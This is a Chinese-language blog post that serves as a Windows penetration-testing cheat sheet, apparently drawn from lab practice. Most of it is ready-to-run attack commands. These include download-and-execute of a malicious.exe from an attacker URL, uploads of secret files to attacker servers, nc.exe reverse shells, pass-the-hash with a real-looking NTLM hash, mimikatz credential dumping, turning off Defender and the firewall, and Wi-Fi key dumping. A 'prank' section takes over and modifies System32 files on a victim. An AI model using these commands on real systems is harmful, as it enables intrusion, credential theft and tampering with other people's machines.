这篇文章发表于 1530 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

拿下一台Windows的速度个人感觉比拿下一台Linux要快的多,这主要归功于像metasploit和cobaltstrike这样的渗透框架。当然也可能是因为渗透Windows主要的难点在于较大而复杂的内网环境,而目前攻击的目标主要是单个脆弱的靶机。

对于Windows渗透,有很多已经成熟的脚本软件,这些都需要去熟悉,这也导致本文看起来有点像说明书却又只能介绍冰山一角。而很多工具已经能够完成不止一个阶段的任务,细分起来也挺烦人的。个人觉得这篇文章的排版远不及对Linux渗透的排版,部分操作也没有注明出处。实在抱歉,将就着看吧。

文件传输

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#本地开网站传输
python3 -m http.server //hacker
powershell (New-Object Net.Webclient).DownloadFile({hacker.url},{victim.url}) //victim
powershell IWR -uri {hacker.url} -Outfile {file_path} //victim
powershell IEX(New-Object Net.Webclient).downloadString({hacker.url}) //victim,适合直接执行powershell脚本
certutil -urlcache -split -f http://hacker.url/malicious.exe %temp%/malicious.exe && %temp%/malicious.exe //victim,后面相当于再接上一条命令

#本地开smbserver传输(以下使用的是impacket中的脚本,少数情况需要使用samba来提供完整的smb服务)
smbserver.py trans `pwd` //这里的python脚本属于impacket中的example,trans是指定的文件夹名,多数情况需要认证或是smb2support
copy \\hacker_url\trans\malicious.exe . //这个是把文件传过去
copy secret.zip \\hacker_url\trans\ //这个是将文件传至本地

#直接扒下ftp中所有文件
wget -r --no-passive ftp://{victim_ip}:{victim_port}/* --ftp-user=anonymous --ftp-password=xxx

#需要认证的smb服务powershell挂载方式(假设account sam::sam)
$pass = "sam" | ConvertTo-SecureString -AsPlainText -Force
$cred = New-Object System.Management.Automation.PsCredential('sam',$pass)
New-PSDrive -name sam -root \\{hacker_ip}\trans -Credential $cred -PSProvider "filesystem"

#需要认证的smb服务cmd挂载方式(假设account sam::sam)
net use x: \\{hacker_ip}\trans "sam" /user:"sam"
net use x: /delete //删除共享

另外,以下脚本能够直接在攻击机上开启一个HTTP PUT SERVER,然后就能够接收文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import argparse
import http.server
import os

class HTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_PUT(self):
path = self.translate_path(self.path)
if path.endswith('/'):
self.send_response(405, "Method Not Allowed")
self.wfile.write("PUT not allowed on a directory\n".encode())
return
else:
try:
os.makedirs(os.path.dirname(path))
except FileExistsError: pass
length = int(self.headers['Content-Length'])
with open(path, 'wb') as f:
f.write(self.rfile.read(length))
self.send_response(201, "Created")

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--bind', '-b', default='0.0.0.0', metavar='ADDRESS',
help='Specify alternate bind address '
'[default: all interfaces]')
parser.add_argument('port', action='store',
default=8000, type=int,
nargs='?',
help='Specify alternate port [default: 8000]')
args = parser.parse_args()

http.server.test(HandlerClass=HTTPRequestHandler, port=args.port, bind=args.bind)

### curl --upload-file secret.txt http://{hacker.url}:8000/

Impacket脚本使用

impacket,横向移动的利器。

一些版本上面的python脚本可能功能存在着一定的差异,一些时候可能可以getshell但一些时候不行,就比如最新版本的psexec和以前版本的,具体差异可以观察源码。

1
2
3
4
5
6
7
8
9
10
11
在获取了相关账号密码或是hash后,可以尝试使用如下方法获取命令交互。
psexec.py -dc-ip {victim_ip} -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 administrator //这个NTML hash就不打码了,见到差不多特征的字符串记得警觉
psexec.py victim@{victim_ip} //这个会在之后输入密码
其余atexec,wmiexec等等脚本命令差不多,无非是实现原理不同

goldenPac.py -dc-ip {victim_ip} -target-ip {victim_ip} htb.local/administrator@{victim_domain}

GetNPUsers.py {domain}/{username} -request -no-pass -dc-ip {victim_ip} -format john //将数据以john的格式输出,便于之后破解
GetUserSPNs.py -request {domain}/{username}:{password}
GetADUsers.py -all {domain}/{username}:{password} -dc-ip {victim_ip}
secretsdump.py htb.local/{username}@{victim_ip}

针对域环境信息收集的工具使用

这个常用的有smbmapsmbclientrpcclientldapsearchcrackmapexec这些工具。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#smbmap最好用1.1.0版本的,目前的新版本貌似无法扫出一些文件
smbmap -H {victim_ip} //扫出相关文件夹
smbmap -H {victim_ip} -R {dir} //扫出文件夹中文件

#CrackMapExec主要是用于爆破smb服务和winrm服务的用户
cme smb {victim_ip} --pass-pol #用于检查爆破是否会受到限制(lockout threshold)
cme smb {victim_ip} -u {user/userlist} -p {passwd/passlist}
cme winrm {victim_ip} -u {user/userlist} -p {passwd/passlist} #如果成功可以结合evil-winrm.rb获得shell

#域控制器默认会开启LDAP服务端口389,于是可以尝试收集信息
ldapsearch -x -h {dc_ip}
ldapsearch -x -h {dc_ip} -s base
ldapsearch -x -h {dc_ip} -s sub -b {"DC=example,DC=local"} '(objectClass=User)' samaccountname | grep -i samaccountname | awk -F: '{print($2)}' > users.ldap

#rpcclient命令众多,主要使用enumdomusers和querydispinfo来收集有效信息
rpcclient -U '' {victim_ip}

#smbclient不解释,只要有权限,不止能get,还能put
smbclient //{victim_ip}/{dir} //对敏感文件进行下载
smbclient -U {username}%{password} \\\\{domain}\\{dir} //登录
### 按文件夹结构下载一切具备权限的文件
>mask ""
>recurse ON
>prompt OFF
>mget *
###

BloodHound使用

伟大的工具!

1
2
3
4
5
6
7
8
9
neo4j console
bloodhound --no-sandbox

#在powershell环境下结合SharpHound.ps1完成信息收集(或者干脆上传SharpHound.exe整个压缩包,这个不解释)
PS > IEX(New-Object Net.Webclient).downloadString('http://hacker_url/SharpHound.ps1') //victim
PS > Invoke-Bloodhound //victim,运行完毕后本目录会出现zip文件

#根据身份证明直接完成信息收集
bloodhound-python -d {victim_domain} -u {username} -p {password} -c all -ns {victim_ip}

kerbrute使用

就是一个对用户进行爆破的工具,更多信息参见三好学生的文章

1
./kerbrute_linux_amd64 userenum {userlist} -d {domain} --dc {dc_ip}

Responder使用

作为窃取内网中认证信息的listener,需要其他漏洞的配合。

1
2
python Responder.py -I <Interface_card_name>   //hacker
在victim上需要进行对hacker的访问。

nc.exe使用

这个再熟悉不过了。

1
2
nc.exe {hacker_ip} {hacker_port} -e cmd.exe    //reverse shell
nc.exe -l -p {victim_port} -e cmd.exe //bind shell

Neo-reGeorg使用

这个原版是reGeorg,国人进行了改进,主要是增加了密码保护的功能。在防火墙过滤严格并且存在网站的主机上使用效果不错。

1
2
python3 neoreg.py generate -k {password}   //生成各种语言网页文件,找到合适的上传即可,如果是PHP文件,需要小心网页的设置,可能存在禁用某些函数的情况
python3 neoreg.py -u {tunnel_file in web_url} -k {password} -p {port} //配置proxychains即可完成通向内网之路

框架使用

metasploit简称msf,cobaltstrike简称cs。这部分主要是本人目前觉得常用并且值得写出来的操作。

msf使用tips

其实这部分主要是关于meterpreter的操作。

1
2
3
4
5
6
7
8
9
10
11
meterpreter > run post/multi/recon/local_exploit_suggester   //本地提权查询

meterpreter > run post/windows/gather/hashdump //hash抓取,SYSTEM权限
meterpreter > load kiwi //加载mimikatz,SYSTEM权限
meterpreter > lsa_dump_sam //hash抓取,SYSTEM权限

meterpreter > load powershell //加载powershell,如果victim上不存在powershell环境就会报错
meterpreter > powershell_shell //这里运行的powershell有一点比较坑,就是退出未必会die,之后使用powershell可能会失效

meterpreter > load incognito //加载incognito,该模块主要用于impersonate用户
meterpreter> list_tokens -u //搜索可impersonate的用户,结合impersonate_token完成攻击,记得将\转义

meterpreter的使用攻略推荐 https://xz.aliyun.com/t/2536

cs使用tips

1
2
3
4
5
6
7
8
和BloodHound联动,顺带部分其他技巧
beacon> powershell-import //你将选择一个ps1文件进行加载
beacon> cd C:\users\{username}\desktop
beacon> pwd
beacon> powershell Get-BloodHoundData | Export-BloodHoundCSV
beacon> jobs
beacon> net computers
beacon> net localgroup \\FILESERVER administrators

除了cobaltstrike作者本人的官网,这人的博客也还不错 http://blog.leanote.com/cate/snowming/Cobalt-Strike

两大渗透框架的shell互传

假设两者(meterpreter和beacon)用的都是http。

1、将msf的sessions传递到cs上。

1
2
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http #这个payload

2、将cs的sessions传递到msf上。

在cs中使用Foreign HTTP的listener,然后msf准备好监听。

1
2
use exploit/multi/handler
set payload windows/meterpreter/reverse_http

spawn即可。

这方面比较给力的博客推荐 https://payloads.cn/

杂七杂八

虽说是杂七杂八,其实这些东西实用性比较高。

关闭防火墙

1
2
3
PS> netsh advfirewall set allprofiles state off
或者
PS> Set-MpPreference -DisableRealtimeMonitoring $true

利用powershell登录

在获取到其他用户的凭证后,可直接尝试利用powershell登录其他用户。

1
2
3
4
5
6
7
$SecurePwd = ConvertTo-SecureString "{passwd}" -AsPlainText -Force
当然,如果是密钥文件的话可采取如下方式,
$SecurePwd = gc admin-pass.xml | convertto-securestring

$cred = new-object system.management.automation.PSCredential {"hostname\\username"},$SecurePwd
$cred.getnetworkcredential() | fl * //碰运气的命令
Invoke-Command -computername {computer_name} -ScriptBlock { whoami } -credential $cred (-Authentication CredSSP)

藏匿于ADS中的文件

有些flag藏在ADS (Alternate Data Stream)中,需要简单的操作。

1
2
3
4
5
6
7
8
9
dir -a   //这个是发现隐藏文件的,但对于ADS无效
dir /r

//以下两条可作为简单尝试
get-item hide.txt -Stream *
powershell (Get-Content hide.txt -Stream flag.txt)

streams -s -accepteula . //运行Streams.exe(Windows Sysinternals)前的指令
streams *

这个技巧藏payload是个不错的方法,见三好学生的某文章

远程桌面RDP

1
2
3
4
5
6
7
8
desktop -g 1020x750 {victim_ip}   //这个是Linux的方法
一般是先在msf中使用post/windows/manage/enable_rdp模块强行打开victim的RDP服务和相关端口,这意味着所需权限比较大。
注意在登录的时候用户名的填写,最好能够指定域名,像如下这样:
.\[username]
HTB.LOCAL\[username]
htb.local\[username]
另外,创建用户的时候记得密码强度够大(像 Password123! 这样的才行),不然会一直报错……
远程桌面比较容易让人发觉hhh

整蛊

嗯,不愧是我。这也是一门优雅的技术活,何为“优雅”?不导致对方电脑损坏并且对方本人不会觉得特别烦(个人觉得用代码画幅画都比死循环或者无限弹窗要高明。。

一些在meterpreter中的有趣模块未必有用,这里给出一些手段。

1
2
3
C:\Program Files\internet explorer\iexplore.exe -k https://fakeupdate.net/win10ue   //这个是在win+R产生的弹窗上面运行的命令
"C:\Program Files\internet explorer\iexplore.exe" -k https://fakeupdate.net/win10ue //这个是可以直接在cmd中使用的命令
//最好能将壁纸直接下载下来传到那个victim电脑上,这样即便网络受限也没关系了
1
2
3
4
#根据语言,选择文件夹进入,比如 C:\Windows\System32\zh-CN ,然后修改其操作权限
takeown /f C:\Windows\System32\zh-CN /a /r /d y #将所有者改为administrator
cacls C:\Windows\System32\zh-CN\* /T /E /G administrator:F #修改administrator完全控制
#最后利用resource hacker完成修改(具体修改自行发挥创意,尽量直接用已修改好的文件覆盖),下载网址位于 http://angusj.com/resourcehacker/#download

本地存储的一些密码

直接上个bat脚本。

1
2
3
4
5
#WiFi/热点连接密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

#一些存储在本地的相关凭证信息
cmdkey /list

搜寻特定文件/字串

1
2
3
4
5
for /r c:\ %i in (flag.txt) do echo %i   //搜索特定文件
strings abc.exe | grep PWD //搜索文件中可能的敏感字串
dir *.exe /b/s | findstr bash //寻找某文件夹子目录中文件名含bash的文件

locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb //在Linux上搜索nmap的script某命令

环境检测

1
2
3
#程序运行环境
[environment]::Is64BitOperatingSystem
[environment]::Is64BitProcess

EFS文件解密

1
2
3
4
5
6
7
8
9
10
11
12
#文件权限
icacls *
icacls {flag.txt} /grant {username}:(R,WDAC) #详情见其自带help

#加密文件系统 Encrypting File System (EFS)
#EFS会导致拥有更高权限的用户(比如SYSTEM)无法打开某文件,
cipher //该命令会显示所有文件的U(unencrypted),E(encrypted)状态
cipher /c *
#解决办法:
##1、最简单的方法就是利用拥有相应权限的用户的命令type转移至另一文件,高权限可以读取转移后的文件
##2、直接成为拥有相应权限的用户
##3、参考 https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files